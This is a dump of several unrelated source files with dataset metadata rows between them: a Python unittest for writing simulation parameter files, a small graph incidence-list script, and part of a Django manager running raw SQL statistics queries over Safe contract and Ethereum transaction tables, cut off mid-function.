test_write_1_1_1(self): """ Tests for method `write`. """ raise SkipTest self.maxDiff = None title = "AlMgBulk5keV_version_1_1_1" simulationParametersRef = self.getSimulationParametersReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) filepath = os.path.join(self.tempDataPath, "%s.par" % (title)) simulationParameters = simulationParametersRef simulationParameters.write(filepath) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() self.assertListEqual(linesRef, lines) self.fail("Test if the testcase is working.") def test_write_1_2_0(self): """ Tests for method `write`. """ self.maxDiff = None title = "AlMgBulk5keV_version_1_2_0" simulationParametersRef = self.getSimulationParametersReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) filepath = os.path.join(self.tempDataPath, "%s.par" % (title)) simulationParameters = simulationParametersRef simulationParameters.version = copy.deepcopy(Version.VERSION_1_2_0) simulationParameters.write(filepath) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() self.assertListEqual(linesRef, lines) #self.fail("Test if the testcase is working.") def test_write_1_2_1(self): """ Tests for method `write`. """ self.maxDiff = None title = "AlMgBulk5keV_version_1_2_1" simulationParametersRef = self.getSimulationParametersReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) filepath = os.path.join(self.tempDataPath, "%s.par" % (title)) simulationParameters = simulationParametersRef simulationParameters.version = copy.deepcopy(Version.VERSION_1_2_1) simulationParameters.write(filepath) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() self.assertListEqual(linesRef, lines) #self.fail("Test if the testcase is working.") def test_write_1_4_1(self): """ Tests for method `write`. """ self.maxDiff = None title = "AlMgBulk5keV_version_1_4_1" simulationParametersRef = self.getSimulationParametersReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) filepath = os.path.join(self.tempDataPath, "%s.par" % (title)) simulationParameters = simulationParametersRef simulationParameters.version = copy.deepcopy(Version.VERSION_1_4_1) simulationParameters.write(filepath) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() self.assertListEqual(linesRef, lines) #self.fail("Test if the testcase is working.") def test_write_1_4_4(self): """ Tests for method `write`. """ self.maxDiff = None title = "AlMgBulk5keV_version_1_4_4" simulationParametersRef = self.getSimulationParametersReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.par" % (title))) filepath = os.path.join(self.tempDataPath, "%s.par" % (title)) simulationParameters = simulationParametersRef simulationParameters.version = copy.deepcopy(Version.VERSION_1_4_4) simulationParameters.write(filepath) self.assertEquals(simulationParametersRef.baseFilename, simulationParameters.baseFilename) self.assertEquals(simulationParametersRef.numberElectrons, simulationParameters.numberElectrons) self.assertEquals(simulationParametersRef.numberPhotons, simulationParameters.numberPhotons) self.assertEquals(simulationParametersRef.numberWindows, simulationParameters.numberWindows) self.assertEquals(simulationParametersRef.numberFilmsX, simulationParameters.numberFilmsX) self.assertEquals(simulationParametersRef.numberFilmsY, simulationParameters.numberFilmsY) self.assertEquals(simulationParametersRef.numberFilmsZ, simulationParameters.numberFilmsZ) self.assertEquals(simulationParametersRef.numberChannels, simulationParameters.numberChannels) self.assertEquals(simulationParametersRef.energyChannelWidth_eV, simulationParameters.energyChannelWidth_eV) self.assertEquals(simulationParametersRef.spectrumInterpolationModel, simulationParameters.spectrumInterpolationModel) self.assertEquals(simulationParametersRef.voxelSimplification, simulationParameters.voxelSimplification, title) self.assertEquals(simulationParametersRef.elasticCrossSectionScalingFactor, simulationParameters.elasticCrossSectionScalingFactor) self.assertEquals(simulationParametersRef.energyLossScalingFactor, simulationParameters.energyLossScalingFactor) self.assertEquals(simulationParametersRef.version.major, simulationParameters.version.major) self.assertEquals(simulationParametersRef.version.minor, simulationParameters.version.minor) self.assertEquals(simulationParametersRef.version.revision, simulationParameters.version.revision) self.assertEquals(simulationParametersRef.version, simulationParameters.version) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() self.assertListEqual(linesRef, lines) #self.fail("Test if the testcase is working.") if __name__ == '__main__': #pragma: no cover import nose nose.runmodule()
56.055472
138
0.760678
2,806
37,389
10.038845
0.063436
0.112464
0.243672
0.06532
0.9361
0.922432
0.912918
0.900919
0.889843
0.873442
0
0.013267
0.165396
37,389
666
139
56.13964
0.889441
0.039236
0
0.775378
0
0
0.027682
0.011856
0
0
0
0
0.442765
1
0.036717
false
0
0.019438
0
0.060475
0
0
0
1
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
10
af2ec54b94dff14ee6178f9ab711f62c7cd3046b
2,916
py
Python
grafos/representacao/grafo3.py
HugoLeda/EstruturaDeDados
ed3b2489b7b1421ca8f8adf580aabaa967cf4a25
[ "MIT" ]
null
null
null
grafos/representacao/grafo3.py
HugoLeda/EstruturaDeDados
ed3b2489b7b1421ca8f8adf580aabaa967cf4a25
[ "MIT" ]
null
null
null
grafos/representacao/grafo3.py
HugoLeda/EstruturaDeDados
ed3b2489b7b1421ca8f8adf580aabaa967cf4a25
[ "MIT" ]
null
null
null
grafo3 = [{ "a": [ { "aresta": "ac", "incidencia": 1 }, { "aresta": "ad", "incidencia": 1 }, { "aresta": "af", "incidencia": 1 }, { "aresta": "bd", "incidencia": 0 }, { "aresta": "be", "incidencia": 0 }, { "aresta": "cf", "incidencia": 0 }, { "aresta": "de", "incidencia": 0 }, { "aresta": "df", "incidencia": 0 }], }, { "b": [ { "aresta": "ac", "incidencia": 0 }, { "aresta": "ad", "incidencia": 0 }, { "aresta": "af", "incidencia": 0 }, { "aresta": "bd", "incidencia": 1 }, { "aresta": "be", "incidencia": 1 }, { "aresta": "cf", "incidencia": 0 }, { "aresta": "de", "incidencia": 0 }, { "aresta": "df", "incidencia": 0 }], }, { "c": [ { "aresta": "ac", "incidencia": 1 }, { "aresta": "ad", "incidencia": 0 }, { "aresta": "af", "incidencia": 0 }, { "aresta": "bd", "incidencia": 0 }, { "aresta": "be", "incidencia": 0 }, { "aresta": "cf", "incidencia": 1 }, { "aresta": "de", "incidencia": 0 }, { "aresta": "df", "incidencia": 0 }], }, { "d": [ { "aresta": "ac", "incidencia": 0 }, { "aresta": "ad", "incidencia": 1 }, { "aresta": "af", "incidencia": 0 }, { "aresta": "bd", "incidencia": 1 }, { "aresta": "be", "incidencia": 0 }, { "aresta": "cf", "incidencia": 0 }, { "aresta": "de", "incidencia": 1 }, { "aresta": "df", "incidencia": 1 }], }, { "e": [ { "aresta": "ac", "incidencia": 0 }, { "aresta": "ad", "incidencia": 0 }, { "aresta": "af", "incidencia": 0 }, { "aresta": "bd", "incidencia": 0 }, { "aresta": "be", "incidencia": 1 }, { "aresta": "cf", "incidencia": 0 }, { "aresta": "de", "incidencia": 1 }, { "aresta": "df", "incidencia": 0 }], }, { "f": [ { "aresta": "ac", "incidencia": 0 }, { "aresta": "ad", "incidencia": 0 }, { "aresta": "af", "incidencia": 1 }, { "aresta": "bd", "incidencia": 0 }, { "aresta": "be", "incidencia": 0 }, { "aresta": "cf", "incidencia": 1 }, { "aresta": "de", "incidencia": 0 }, { "aresta": "df", "incidencia": 1 }], }, { "g": [ { "aresta": "ac", "incidencia": 0 }, { "aresta": "ad", "incidencia": 0 }, { "aresta": "af", "incidencia": 0 }, { "aresta": "bd", "incidencia": 0 }, { "aresta": "be", "incidencia": 0 }, { "aresta": "cf", "incidencia": 0 }, { "aresta": "de", "incidencia": 0 }, { "aresta": "df", "incidencia": 0 }], },] for i in range(len(grafo3)): print(grafo3[i])
11.758065
28
0.380316
241
2,916
4.60166
0.107884
0.396754
0.536519
0.085663
0.956718
0.956718
0.956718
0.871055
0.870153
0.870153
0
0.031909
0.365912
2,916
248
29
11.758065
0.567875
0
0
0.481781
0
0
0.34796
0
0
0
0
0
0
1
0
false
0
0
0
0
0.004049
0
0
0
null
1
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
af3c473a3b15582274b8378ea95830704cec8fb0
223
py
Python
application/controllers/main/index.py
LuisNorberto1998/Actividad_11_-_Webservice
07a469d3de9dc4a3083a3c35924678d2e4bb16f5
[ "MIT" ]
null
null
null
application/controllers/main/index.py
LuisNorberto1998/Actividad_11_-_Webservice
07a469d3de9dc4a3083a3c35924678d2e4bb16f5
[ "MIT" ]
null
null
null
application/controllers/main/index.py
LuisNorberto1998/Actividad_11_-_Webservice
07a469d3de9dc4a3083a3c35924678d2e4bb16f5
[ "MIT" ]
null
null
null
import config class Index: def __init__(self): pass def GET(self): #result = config.model.get_all_table_name() #return config.render.index(result) return config.render.index()
18.583333
51
0.618834
27
223
4.851852
0.592593
0.183206
0.274809
0.351145
0
0
0
0
0
0
0
0
0.282511
223
11
52
20.272727
0.81875
0.340807
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0.166667
0.166667
0.166667
0.833333
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
7
af53f880d59462e260170c02a027ce18552e58b5
9,826
py
Python
1d/shelf.py
RunxinNi/multilayer-examples
53c8525969193130005ff08e2a6fd25e842d9a99
[ "MIT" ]
1
2021-05-23T04:25:48.000Z
2021-05-23T04:25:48.000Z
1d/shelf.py
RunxinNi/multilayer-examples
53c8525969193130005ff08e2a6fd25e842d9a99
[ "MIT" ]
null
null
null
1d/shelf.py
RunxinNi/multilayer-examples
53c8525969193130005ff08e2a6fd25e842d9a99
[ "MIT" ]
4
2017-06-21T13:33:44.000Z
2020-02-25T18:34:51.000Z
#!/usr/bin/env python # encoding: utf-8 r"""Runs idealized jump and sloped 1d shelf tests""" import sys from clawpack.riemann import layered_shallow_water_1D import clawpack.clawutil.runclaw as runclaw from clawpack.pyclaw.plot import plot import multilayer as ml def jump_shelf(num_cells,eigen_method,**kargs): r"""Shelf test""" # Construct output and plot directory paths prefix = 'ml_e%s_n%s' % (eigen_method,num_cells) name = 'multilayer/jump_shelf' outdir,plotdir,log_path = runclaw.create_output_paths(name,prefix,**kargs) # Redirect loggers # This is not working for all cases, see comments in runclaw.py for logger_name in ['pyclaw.io', 'pyclaw.solution', 'plot', 'pyclaw.solver', 'f2py','data']: runclaw.replace_stream_handlers(logger_name,log_path,log_file_append=False) # Load in appropriate PyClaw version if kargs.get('use_petsc',False): import clawpack.petclaw as pyclaw else: import clawpack.pyclaw as pyclaw # ================= # = Create Solver = # ================= if kargs.get('solver_type','classic') == 'classic': solver = pyclaw.ClawSolver1D(riemann_solver=layered_shallow_water_1D) else: raise NotImplementedError('Classic is currently the only supported solver.') # Solver method parameters solver.cfl_desired = 0.9 solver.cfl_max = 1.0 solver.max_steps = 5000 solver.fwave = True solver.kernel_language = 'Fortran' solver.limiters = 3 solver.source_split = 1 # Boundary conditions # Use wall boundary condition at beach solver.bc_lower[0] = 1 solver.bc_upper[0] = 0 solver.user_bc_upper = ml.bc.wall_qbc_upper solver.aux_bc_lower[0] = 1 solver.aux_bc_upper[0] = 1 # Set the before step function solver.before_step = lambda solver,solution:ml.step.before_step(solver, solution) # Use simple friction source term solver.step_source = ml.step.friction_source # ============================ # = Create Initial Condition = # ============================ num_layers = 2 x = pyclaw.Dimension(-400e3, 0.0, num_cells, 'x') domain = pyclaw.Domain([x]) state = pyclaw.State(domain, 2 * num_layers, 3 + num_layers) state.aux[ml.aux.kappa_index,:] = 0.0 # Set physics data state.problem_data['g'] = 9.8 state.problem_data['manning'] = 0.0 state.problem_data['rho_air'] = 1.15 state.problem_data['rho'] = [1025.0,1045.0] state.problem_data['r'] = state.problem_data['rho'][0] / state.problem_data['rho'][1] state.problem_data['one_minus_r'] = 1.0 - state.problem_data['r'] state.problem_data['num_layers'] = num_layers # Set method parameters, this ensures it gets to the Fortran routines state.problem_data['eigen_method'] = eigen_method state.problem_data['dry_tolerance'] = 1e-3 state.problem_data['inundation_method'] = 2 state.problem_data['entropy_fix'] = False solution = pyclaw.Solution(state,domain) solution.t = 0.0 # Set aux arrays including bathymetry, wind field and linearized depths ml.aux.set_jump_bathymetry(solution.state, -30e3, [-4000.0, -100.0]) ml.aux.set_no_wind(solution.state) ml.aux.set_h_hat(solution.state, 0.5, [0.0, -300.0], [0.0, -300.0]) # Set perturbation to sea at rest ml.qinit.set_acta_numerica_init_condition(solution.state, 0.4) # ================================ # = Create simulation controller = # ================================ controller = pyclaw.Controller() controller.solution = solution controller.solver = solver # Output parameters controller.output_style = 1 controller.tfinal = 7200.0 controller.num_output_times = 300 # controller.output_style = 2 # controller.out_times = [0.0,720.0,2400.0,4800.0,7200.0] controller.write_aux_init = True controller.outdir = outdir controller.write_aux = True # ================== # = Run Simulation = # ================== state = controller.run() # ============ # = Plotting = # ============ plot_kargs = {"eta":[0.0,-300.0], "rho":solution.state.problem_data['rho'], "g":solution.state.problem_data['g'], "dry_tolerance":solution.state.problem_data['dry_tolerance'], "bathy_ref_lines":[-30e3]} plot(setplot="./setplot_shelf.py", outdir=outdir, plotdir=plotdir, htmlplot=kargs.get('htmlplot', False), iplot=kargs.get('iplot', False), file_format=controller.output_format, **plot_kargs) def sloped_shelf(num_cells,eigen_method,**kargs): r"""Shelf test""" # Construct output and plot directory paths prefix = 'ml_e%s_n%s' % (eigen_method, num_cells) name = 'multilayer/sloped_shelf' outdir,plotdir,log_path = runclaw.create_output_paths(name, prefix, **kargs) # Redirect loggers # This is not working for all cases, see comments in runclaw.py for logger_name in ['io', 'solution', 'plot', 'evolve', 'f2py', 'data']: runclaw.replace_stream_handlers(logger_name,log_path,log_file_append=False) # Load in appropriate PyClaw version if kargs.get('use_petsc',False): import clawpack.petclaw as pyclaw else: import clawpack.pyclaw as pyclaw # ================= # = Create Solver = # ================= if kargs.get('solver_type', 'classic') == 'classic': solver = pyclaw.ClawSolver1D(riemann_solver=layered_shallow_water_1D) else: raise NotImplementedError('Classic is currently the only supported solver.') # Solver method parameters solver.cfl_desired = 0.9 solver.cfl_max = 1.0 solver.max_steps = 5000 solver.fwave = True solver.kernel_language = 'Fortran' solver.num_waves = 4 solver.limiters = 3 solver.source_split = 1 # Boundary conditions # Use wall boundary condition at beach solver.bc_lower[0] = 1 solver.bc_upper[0] = 0 solver.user_bc_upper = ml.bc.wall_qbc_upper solver.aux_bc_lower[0] = 1 solver.aux_bc_upper[0] = 1 # Set the Riemann solver solver.rp = layered_shallow_water_1D # Set the before step function solver.before_step = lambda solver, solution:ml.step.before_step(solver, solution) # Use simple friction source term solver.step_source = ml.step.friction_source # ============================ # = Create Initial Condition = # ============================ num_layers = 2 x = pyclaw.Dimension(-400e3, 0.0, num_cells, 'x') domain = pyclaw.Domain([x]) state = pyclaw.State(domain, 2 * num_layers, 3 + num_layers) state.aux[ml.aux.kappa_index,:] = 0.0 # Set physics data state.problem_data['g'] = 9.8 state.problem_data['manning'] = 0.0 state.problem_data['rho_air'] = 1.15 state.problem_data['rho'] = [1025.0, 1045.0] state.problem_data['r'] = state.problem_data['rho'][0] / state.problem_data['rho'][1] state.problem_data['one_minus_r'] = 1.0 - state.problem_data['r'] state.problem_data['num_layers'] = num_layers # Set method parameters, this ensures it gets to the Fortran routines state.problem_data['eigen_method'] = eigen_method state.problem_data['dry_tolerance'] = 1e-3 state.problem_data['inundation_method'] = 2 state.problem_data['entropy_fix'] = False solution = pyclaw.Solution(state,domain) solution.t = 0.0 # Set aux arrays including bathymetry, wind field and linearized depths x0 = -130e3 x1 = -30e3 ml.aux.set_sloped_shelf_bathymetry(solution.state, x0, x1, -4000.0, -100.0) ml.aux.set_no_wind(solution.state) ml.aux.set_h_hat(solution.state, 0.5, [0.0, -300.0], [0.0, -300.0]) # Set perturbation to sea at rest ml.qinit.set_acta_numerica_init_condition(solution.state, 0.4) # ================================ # = Create simulation controller = # ================================ controller = pyclaw.Controller() controller.solution = solution controller.solver = solver # Output parameters controller.output_style = 1 controller.tfinal = 7200.0 controller.num_output_times = 300 controller.write_aux_init = True controller.outdir = outdir controller.write_aux = True # ================== # = Run Simulation = # ================== state = controller.run() # ============ # = Plotting = # ============ plot_kargs = {"eta":[0.0,-300.0], "rho":solution.state.problem_data['rho'], "g":solution.state.problem_data['g'], "dry_tolerance":solution.state.problem_data['dry_tolerance'], "bathy_ref_lines":[x0,x1]} plot(setplot="./setplot_shelf.py",outdir=outdir,plotdir=plotdir, htmlplot=kargs.get('htmlplot',False),iplot=kargs.get('iplot',False), file_format=controller.output_format,**plot_kargs) if __name__ == "__main__": # Run the test for the requested eigen methods for the jump and slope bathys if len(sys.argv) > 1: eig_methods = [] for value in sys.argv[1:]: eig_methods.append(int(value)) else: eig_methods = [2] for method in eig_methods: jump_shelf(2000,method,iplot=False,htmlplot=True) for method in eig_methods: sloped_shelf(2000,method,iplot=False,htmlplot=True)
34.720848
89
0.609709
1,224
9,826
4.710784
0.185458
0.07076
0.094346
0.032952
0.891086
0.877558
0.877558
0.864724
0.864724
0.864724
0
0.033819
0.238653
9,826
282
90
34.843972
0.736934
0.200081
0
0.808642
0
0
0.089063
0.005655
0
0
0
0
0
1
0.012346
false
0
0.055556
0
0.067901
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
af9d9cd42b57c0ad976c25f09113051703204b62
14,726
py
Python
safe_relay_service/relay/models_raw.py
gnosis/safe-relay-service
e4db2f9b85aab612653785766d4c1f4d16197197
[ "MIT" ]
48
2018-07-22T16:02:27.000Z
2022-03-31T17:46:20.000Z
safe_relay_service/relay/models_raw.py
gnosis/safe-relay-service
e4db2f9b85aab612653785766d4c1f4d16197197
[ "MIT" ]
264
2018-06-11T11:37:55.000Z
2022-03-30T18:29:38.000Z
safe_relay_service/relay/models_raw.py
gnosis/safe-relay-service
e4db2f9b85aab612653785766d4c1f4d16197197
[ "MIT" ]
24
2018-11-07T19:28:59.000Z
2022-03-19T16:46:59.000Z
import datetime from decimal import Decimal from typing import Any, Dict, List, Optional from django.db import connection, models from gnosis.eth.constants import ERC20_721_TRANSFER_TOPIC def parse_row(row): """ Remove Decimal from Raw SQL queries """ for r in row: if isinstance(r, Decimal): if r.as_integer_ratio()[1] == 1: yield int(r) else: yield float(r) else: yield r def run_raw_query(query: str, *arguments): with connection.cursor() as cursor: cursor.execute(query, arguments) columns = [col[0] for col in cursor.description] return [dict(zip(columns, parse_row(row))) for row in cursor.fetchall()] class SafeContractManagerRaw(models.Manager): def get_average_deploy_time( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> datetime.timedelta: query = """ SELECT AVG(A.created - B.first_transfer) FROM (SELECT address, timestamp as created FROM relay_safecontract S JOIN relay_internaltx I ON S.address = I.contract_address JOIN relay_ethereumtx E ON I.ethereum_tx_id = E.tx_hash JOIN relay_ethereumblock B ON E.block_id = B.number) A JOIN (SELECT address, MIN(timestamp) as first_transfer FROM relay_safecontract S JOIN relay_internaltx I ON S.address = I.to JOIN relay_ethereumtx E ON I.ethereum_tx_id = E.tx_hash JOIN relay_ethereumblock B ON E.block_id = B.number GROUP BY address) B ON A.address = B.address WHERE A.created BETWEEN %s AND %s """ with connection.cursor() as cursor: cursor.execute(query, [from_date, to_date]) return cursor.fetchone()[0] def get_average_deploy_time_grouped( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> Dict: query = """ SELECT DATE(A.created) as created_date, AVG(A.created - B.first_transfer) as average_deploy_time FROM (SELECT address, timestamp as created FROM relay_safecontract S JOIN relay_internaltx I ON S.address = I.contract_address JOIN relay_ethereumtx E ON I.ethereum_tx_id = E.tx_hash JOIN relay_ethereumblock B ON E.block_id = B.number) A JOIN (SELECT address, MIN(timestamp) as first_transfer FROM relay_safecontract S JOIN relay_internaltx I ON S.address = I.to JOIN relay_ethereumtx E ON I.ethereum_tx_id = E.tx_hash JOIN relay_ethereumblock B ON E.block_id = B.number GROUP BY address) B ON A.address = B.address WHERE A.created BETWEEN %s AND %s GROUP BY DATE(A.created) """ return run_raw_query(query, from_date, to_date) def get_average_deploy_time_total( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> datetime.timedelta: query = """ SELECT AVG(EB.timestamp - SC.created) FROM (SELECT created, tx_hash FROM relay_safecreation UNION SELECT created, tx_hash FROM relay_safecreation2) AS SC JOIN relay_ethereumtx as ET ON SC.tx_hash=ET.tx_hash JOIN relay_ethereumblock as EB ON ET.block_id=EB.number WHERE SC.created BETWEEN %s AND %s """ with connection.cursor() as cursor: cursor.execute(query, [from_date, to_date]) return cursor.fetchone()[0] def get_average_deploy_time_total_grouped( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> Dict: query = """ SELECT DATE(SC.created) as created_date, AVG(EB.timestamp - SC.created) as average_deploy_time FROM (SELECT created, tx_hash FROM relay_safecreation UNION SELECT created, tx_hash FROM relay_safecreation2) AS SC JOIN relay_ethereumtx as ET ON SC.tx_hash=ET.tx_hash JOIN relay_ethereumblock as EB ON ET.block_id=EB.number WHERE SC.created BETWEEN %s AND %s GROUP BY DATE(SC.created) ORDER BY DATE(SC.created) """ return run_raw_query(query, from_date, to_date) def get_total_balance_grouped( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> int: """ :return: Dictionary of {date: datetime.date, balance: decimal} """ query = """ SELECT * FROM (SELECT DISTINCT date, SUM(value) OVER(ORDER BY date) as balance FROM (SELECT DATE(EB.timestamp) as date, IT.value as value FROM (SELECT value, error, call_type, ethereum_tx_id FROM relay_safecontract JOIN relay_internaltx ON address="to" UNION SELECT -value, error, call_type, ethereum_tx_id FROM relay_safecontract JOIN relay_internaltx ON address="_from" ) AS IT JOIN relay_ethereumtx ET ON IT.ethereum_tx_id=ET.tx_hash JOIN relay_ethereumblock EB ON ET.block_id=EB.number WHERE IT.error IS NULL AND IT.call_type != 1 UNION SELECT DATE(dd), 0 FROM generate_series(%s, %s, '1 day'::interval) dd ) AS PREPARED ) AS RESULT WHERE RESULT.date BETWEEN %s AND %s ORDER BY RESULT.date """ return run_raw_query(query, from_date, to_date, from_date, to_date) def get_total_token_balance( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> Dict[str, Any]: """ :return: Dictionary of {token_address: str, balance: decimal} """ query = """ SELECT token_address, SUM(EE.value) as balance FROM (SELECT SC.created, ethereum_tx_id, address, token_address, -(arguments->>'value')::decimal AS value FROM relay_safecontract SC JOIN relay_ethereumevent EV ON SC.address = EV.arguments->>'from' WHERE arguments ? 'value' AND topic='{0}' UNION SELECT SC.created, ethereum_tx_id, address, token_address, (arguments->>'value')::decimal FROM relay_safecontract SC JOIN relay_ethereumevent EV ON SC.address = EV.arguments->>'to' WHERE arguments ? 'value' AND topic='{0}') AS EE WHERE EE.created BETWEEN %s AND %s GROUP BY token_address """.format( ERC20_721_TRANSFER_TOPIC.replace("0x", "") ) # No risk of SQL Injection return run_raw_query(query, from_date, to_date) def get_total_token_balance_grouped( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> Dict[str, Any]: """ :return: Dictionary of {date: datetime.date, token_address: str, balance: decimal} """ query = """ SELECT * FROM (SELECT DISTINCT date, token_address, SUM(value) OVER(PARTITION BY token_address ORDER BY date) as balance FROM (SELECT DATE(EB.timestamp) as date, EE.value as value, EE.token_address as token_address FROM (SELECT SC.created, ethereum_tx_id, address, token_address, -(arguments->>'value')::decimal AS value FROM relay_safecontract SC JOIN relay_ethereumevent EV ON SC.address = EV.arguments->>'from' WHERE arguments ? 'value' AND topic='{0}' UNION SELECT SC.created, ethereum_tx_id, address, token_address, (arguments->>'value')::decimal FROM relay_safecontract SC JOIN relay_ethereumevent EV ON SC.address = EV.arguments->>'to' WHERE arguments ? 'value' AND topic='{0}' ) AS EE JOIN relay_ethereumtx ET ON EE.ethereum_tx_id=ET.tx_hash JOIN relay_ethereumblock EB ON ET.block_id=EB.number UNION SELECT DATE(dd), 0, T.token_address FROM generate_series(%s, %s, '1 day'::interval) dd, (SELECT DISTINCT token_address FROM relay_ethereumevent WHERE arguments ? 'value' AND topic='{0}' ) AS T ) AS PREPARED ) AS RESULT WHERE RESULT.date BETWEEN %s AND %s ORDER BY RESULT.date; """.format( ERC20_721_TRANSFER_TOPIC.replace("0x", "") ) # No risk of SQL Injection return run_raw_query(query, from_date, to_date, from_date, to_date) def get_total_volume( self, from_date: datetime.datetime, to_date: datetime.datetime ) -> Optional[int]: from .models import EthereumTxCallType query = """ SELECT SUM(IT.value) AS value FROM relay_safecontract SC JOIN relay_internaltx IT ON SC.address=IT."_from" OR SC.address=IT."to" JOIN relay_ethereumtx ET ON IT.ethereum_tx_id=ET.tx_hash JOIN relay_ethereumblock EB ON ET.block_id=EB.number WHERE IT.call_type != {0} AND error IS NULL AND EB.timestamp BETWEEN %s AND %s """.format( EthereumTxCallType.DELEGATE_CALL.value ) with connection.cursor() as cursor: cursor.execute(query, [from_date, to_date]) value = cursor.fetchone()[0] if value is not None: return int(value) return None def get_total_volume_grouped( self, from_date: datetime.datetime, to_date: 